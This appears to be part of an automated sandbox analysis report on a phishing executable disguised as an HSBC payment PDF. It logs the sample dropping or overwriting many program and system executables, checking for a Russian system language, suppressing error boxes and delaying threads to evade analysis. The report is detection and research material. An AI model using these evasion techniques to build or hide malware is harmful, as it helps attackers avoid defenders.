Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\Mozilla Firefox\minidump-analyzer.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedgewebview2.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Java\jre-1.8\bin\pack200.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Java\jre-1.8\bin\jabswitch.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\x86\Acrobat\Acrobat.exe	Jump to dropped file
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	File created: C:\Windows\System32\alg.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateOnDemand.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Google\Update\Download\{8A69D345-D564-463C-AFF1-A69D9E530F96}\117.0.5938.132\117.0.5938.132_chrome_installer.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Java\jre-1.8\bin\rmid.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\7-Zip\7zFM.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\32BitMAPIBroker.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Java\jre-1.8\bin\klist.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateComRegisterShell64.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Java\jre-1.8\bin\tnameserv.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Eula.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate32.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Java\jre-1.8\bin\jp2launcher.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateCore.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\WindowsInstaller-KB893803-v2-x86.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Java\jre-1.8\bin\unpack200.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Windows\System32\VSSVC.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Windows\System32\wbengine.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Windows\System32\SearchIndexer.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroTextExtractor.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\Mozilla Firefox\private_browsing.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Java\jre-1.8\bin\jjs.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\AutoIt3\Au3Info.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_acro.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\Installer\setup.exe	Jump to dropped file
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	File created: C:\Windows\System32\PerceptionSimulation\PerceptionSimulationService.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeC2RClient.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\ShowAppPickerForPDF.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Java\jre-1.8\bin\orbd.exe	Jump to dropped file
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	File created: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\Common Files\microsoft shared\ClickToRun\AppVShNotify.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Windows\System32\AgentService.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\SingleClientServicesUpdater.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateCore.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\Google\Chrome\Application\chrome_proxy.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdate.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_helper_acro.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge_pwa_launcher.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\Common Files\microsoft shared\ClickToRun\officesvcmgr.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Java\jre-1.8\bin\ktab.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Windows\System32\OpenSSH\ssh-agent.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Common Files\Java\Java Update\jucheck.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\Mozilla Firefox\plugin-container.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge_proxy.exe	Jump to dropped file

Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Windows\System32\snmptrap.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Windows\System32\Spectrum.exe	Jump to dropped file
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	File created: C:\Windows\System32\Locator.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Windows\System32\AgentService.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Windows\System32\VSSVC.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Windows\System32\wbengine.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Windows\System32\wbem\WmiApSrv.exe	Jump to dropped file
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	File created: C:\Windows\System32\DiagSvcs\DiagnosticsHub.StandardCollector.Service.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Windows\System32\SearchIndexer.exe	Jump to dropped file
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	File created: C:\Windows\System32\AppVClient.exe	Jump to dropped file
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	File created: C:\Windows\System32\FXSSVC.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Windows\System32\TieringEngineService.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Windows\System32\vds.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Windows\System32\OpenSSH\ssh-agent.exe	Jump to dropped file
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	File created: C:\Windows\SysWOW64\perfhost.exe	Jump to dropped file
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	File created: C:\Windows\System32\alg.exe	Jump to dropped file
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	File created: C:\Windows\System32\msiexec.exe	Jump to dropped file
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	File created: C:\Windows\System32\SensorDataService.exe	Jump to dropped file
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	File created: C:\Windows\System32\msdtc.exe	Jump to dropped file
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	File created: C:\Windows\System32\PerceptionSimulation\PerceptionSimulationService.exe	Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Creates files inside the volume driver (system volume information)

Source: C:\Windows\System32\TieringEngineService.exe

File created: C:\System Volume Information\Heat\

Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Contains functionality to behave differently if execute on a Russian/Kazak computer

Source: C:\Windows\System32\AppVClient.exe	Code function: 7_2_00745346 GetSystemDefaultLangID, lea ecx, dword ptr [eax-00000419h] lea ecx, dword ptr [eax-00000419h] lea ecx, dword ptr [eax-00000419h]	7_2_00745346
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Code function: 11_2_00895346 GetSystemDefaultLangID, lea ecx, dword ptr [eax-00000419h] lea ecx, dword ptr [eax-00000419h] lea ecx, dword ptr [eax-00000419h]	11_2_00895346
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Code function: 12_2_01A55346 GetSystemDefaultLangID, lea ecx, dword ptr [eax-00000419h] lea ecx, dword ptr [eax-00000419h] lea ecx, dword ptr [eax-00000419h]	12_2_01A55346
Source: C:\Windows\System32\PerceptionSimulation\PerceptionSimulationService.exe	Code function: 14_2_00B75346 GetSystemDefaultLangID, lea ecx, dword ptr [eax-00000419h] lea ecx, dword ptr [eax-00000419h] lea ecx, dword ptr [eax-00000419h]	14_2_00B75346
Source: C:\Windows\System32\Spectrum.exe	Code function: 19_2_007B5346 GetSystemDefaultLangID, lea ecx, dword ptr [eax-00000419h] lea ecx, dword ptr [eax-00000419h] lea ecx, dword ptr [eax-00000419h]	19_2_007B5346
Source: C:\Windows\System32\OpenSSH\ssh-agent.exe	Code function: 21_2_008F5346 GetSystemDefaultLangID, lea ecx, dword ptr [eax-00000419h] lea ecx, dword ptr [eax-00000419h] lea ecx, dword ptr [eax-00000419h]	21_2_008F5346

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe

API/Special instruction interceptor: Address: CDB4DC

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599871	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599765	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599656	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599547	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599437	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599328	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599212	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598894	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598625	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598469	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598344	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598231	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598125	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598015	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597906	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597797	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597681	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597563	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597438	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597317	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597188	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597078	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596969	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596859	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596750	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596608	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596485	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596321	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596131	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595943	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595764	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595656	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595544	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595437	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595309	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595202	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595094	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594984	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594875	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594766	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594656	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594533	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594406	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594297	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594176	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594047	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 593937	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 593828	Jump to behavior
